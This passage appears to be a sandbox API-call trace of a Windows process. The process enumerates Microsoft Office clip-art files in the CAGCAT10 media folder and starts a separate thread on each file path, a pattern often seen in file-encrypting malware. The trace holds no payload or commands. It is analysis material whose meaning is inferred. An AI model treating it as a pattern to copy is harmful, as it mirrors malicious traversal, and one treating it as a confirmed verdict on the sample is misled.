ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1 [0150.706] wcscmp (_String1="J0199727.WMF", _String2=".") returned 1 [0150.706] wcscmp (_String1="J0199727.WMF", _String2="..") returned 1 [0150.706] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50a78 [0150.706] wcscpy (in: _Dest=0x12c50a78, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.706] wcscat (in: _Dest=0x12c50a78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.706] wcscat (in: _Dest=0x12c50a78, _Source="J0199727.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" [0150.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50a78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a70 [0150.707] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1 [0150.707] wcscmp (_String1="J0199755.WMF", _String2=".") returned 1 [0150.707] wcscmp (_String1="J0199755.WMF", _String2="..") returned 1 [0150.707] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50b00 [0150.707] wcscpy (in: _Dest=0x12c50b00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.707] wcscat (in: _Dest=0x12c50b00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.707] wcscat (in: _Dest=0x12c50b00, _Source="J0199755.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" [0150.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a74 [0150.708] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1 [0152.346] wcscmp (_String1="J0199805.WMF", _String2=".") returned 1 [0152.346] wcscmp (_String1="J0199805.WMF", _String2="..") returned 1 [0152.346] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8918 [0152.346] wcscpy (in: _Dest=0x8f8918, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0152.346] wcscat (in: _Dest=0x8f8918, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0152.346] wcscat (in: _Dest=0x8f8918, _Source="J0199805.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" [0153.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf2c [0153.323] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x2398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205462.WMF", cAlternateFileName="")) returned 1 [0153.324] wcscmp (_String1="J0205462.WMF", _String2=".") returned 1 [0153.324] wcscmp (_String1="J0205462.WMF", _String2="..") returned 1 [0153.324] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7240 [0153.324] wcscpy (in: _Dest=0x8f7240, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.324] wcscat (in: _Dest=0x8f7240, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.324] wcscat (in: _Dest=0x8f7240, _Source="J0205462.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" [0153.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe38 [0153.332] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205466.WMF", cAlternateFileName="")) returned 1 [0153.332] wcscmp (_String1="J0205466.WMF", _String2=".") returned 1 [0153.332] wcscmp (_String1="J0205466.WMF", _String2="..") returned 1 [0153.332] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f75f8 [0153.332] wcscpy (in: _Dest=0x8f75f8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.332] wcscat (in: _Dest=0x8f75f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.332] wcscat (in: _Dest=0x8f75f8, _Source="J0205466.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" [0153.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f75f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b0 [0153.333] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205582.WMF", cAlternateFileName="")) returned 1 [0153.333] wcscmp (_String1="J0205582.WMF", _String2=".") returned 1 [0153.333] wcscmp (_String1="J0205582.WMF", _String2="..") returned 1 [0153.333] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8cd0 [0153.333] wcscpy (in: _Dest=0x8f8cd0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.333] wcscat (in: _Dest=0x8f8cd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.333] wcscat (in: _Dest=0x8f8cd0, _Source="J0205582.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" [0153.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1390 [0153.334] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211949.WMF", cAlternateFileName="")) returned 1 [0153.334] wcscmp (_String1="J0211949.WMF", _String2=".") returned 1 [0153.334] wcscmp (_String1="J0211949.WMF", _String2="..") returned 1 [0153.334] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8b38 [0153.334] wcscpy (in: _Dest=0x8f8b38, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.334] wcscat (in: _Dest=0x8f8b38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.334] wcscat (in: _Dest=0x8f8b38, _Source="J0211949.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" [0153.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8b38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138c [0153.335] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212219.WMF", cAlternateFileName="")) returned 1 [0153.335] wcscmp (_String1="J0212219.WMF", _String2=".") returned 1 [0153.335] wcscmp (_String1="J0212219.WMF", _String2="..") returned 1 [0153.335] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7680 [0153.336] wcscpy (in: _Dest=0x8f7680, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.336] wcscat (in: _Dest=0x8f7680, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.336] wcscat (in: _Dest=0x8f7680, _Source="J0212219.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" [0153.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a8 [0153.337] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212661.WMF", cAlternateFileName="")) returned 1 [0153.337] wcscmp (_String1="J0212661.WMF", _String2=".") returned 1 [0153.337] wcscmp (_String1="J0212661.WMF", _String2="..") returned 1 [0153.337] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7460 [0153.337] wcscpy (in: _Dest=0x8f7460, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.337] wcscat (in: _Dest=0x8f7460, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.337] wcscat (in: _Dest=0x8f7460, _Source="J0212661.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" [0153.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1100 [0153.338] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212701.WMF", cAlternateFileName="")) returned 1 [0153.338] wcscmp (_String1="J0212701.WMF", _String2=".") returned 1 [0153.338] wcscmp (_String1="J0212701.WMF", _String2="..") returned 1 [0153.338] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f86f8 [0153.338] wcscpy (in: _Dest=0x8f86f8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.338] wcscat (in: _Dest=0x8f86f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.338] wcscat (in: _Dest=0x8f86f8, _Source="J0212701.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" [0153.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f86f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a4 [0153.339] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212957.WMF", cAlternateFileName="")) returned 1 [0153.339] wcscmp (_String1="J0212957.WMF", _String2=".") returned 1 [0153.339] wcscmp (_String1="J0212957.WMF", _String2="..") returned 1 [0153.340] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8780 [0153.340] wcscpy (in: _Dest=0x8f8780, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.340] wcscat (in: _Dest=0x8f8780, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.340] wcscat (in: _Dest=0x8f8780, _Source="J0212957.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" [0153.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a0 [0153.341] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214098.WAV", cAlternateFileName="")) returned 1 [0153.341] wcscmp (_String1="J0214098.WAV", _String2=".") returned 1 [0153.341] wcscmp (_String1="J0214098.WAV", _String2="..") returned 1 [0153.341] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7ac0 [0153.341] wcscpy (in: _Dest=0x8f7ac0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.341] wcscat (in: _Dest=0x8f7ac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.341] wcscat (in: _Dest=0x8f7ac0, _Source="J0214098.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" [0153.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1190 [0153.342] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215086.WMF", cAlternateFileName="")) returned 1 [0153.342] wcscmp (_String1="J0215086.WMF", _String2=".") returned 1 [0153.342] wcscmp (_String1="J0215086.WMF", _String2="..") returned 1 [0153.342] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8670 [0153.342] wcscpy (in: _Dest=0x8f8670, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.342] wcscat (in: _Dest=0x8f8670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.342] wcscat (in: _Dest=0x8f8670, _Source="J0215086.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" [0153.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1388 [0153.343] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216516.WMF", cAlternateFileName="")) returned 1 [0153.343] wcscmp (_String1="J0216516.WMF", _String2=".") returned 1 [0153.343] wcscmp (_String1="J0216516.WMF", _String2="..") returned 1 [0153.343] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7708 [0153.343] wcscpy (in: _Dest=0x8f7708, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.343] wcscat (in: _Dest=0x8f7708, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.343] wcscat (in: _Dest=0x8f7708, _Source="J0216516.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" [0153.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ec [0153.344] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216588.WMF", cAlternateFileName="")) returned 1 [0153.344] wcscmp (_String1="J0216588.WMF", _String2=".") returned 1 [0153.344] wcscmp (_String1="J0216588.WMF", _String2="..") returned 1 [0153.344] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8bc0 [0153.344] wcscpy (in: _Dest=0x8f8bc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.344] wcscat (in: _Dest=0x8f8bc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.345] wcscat (in: _Dest=0x8f8bc0, _Source="J0216588.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" [0153.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1384 [0153.346] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216724.WMF", cAlternateFileName="")) returned 1 [0153.346] wcscmp (_String1="J0216724.WMF", _String2=".") returned 1 [0153.346] wcscmp (_String1="J0216724.WMF", _String2="..") returned 1 [0153.346] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f70a8 [0153.346] wcscpy (in: _Dest=0x8f70a8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.346] wcscat (in: _Dest=0x8f70a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.346] wcscat 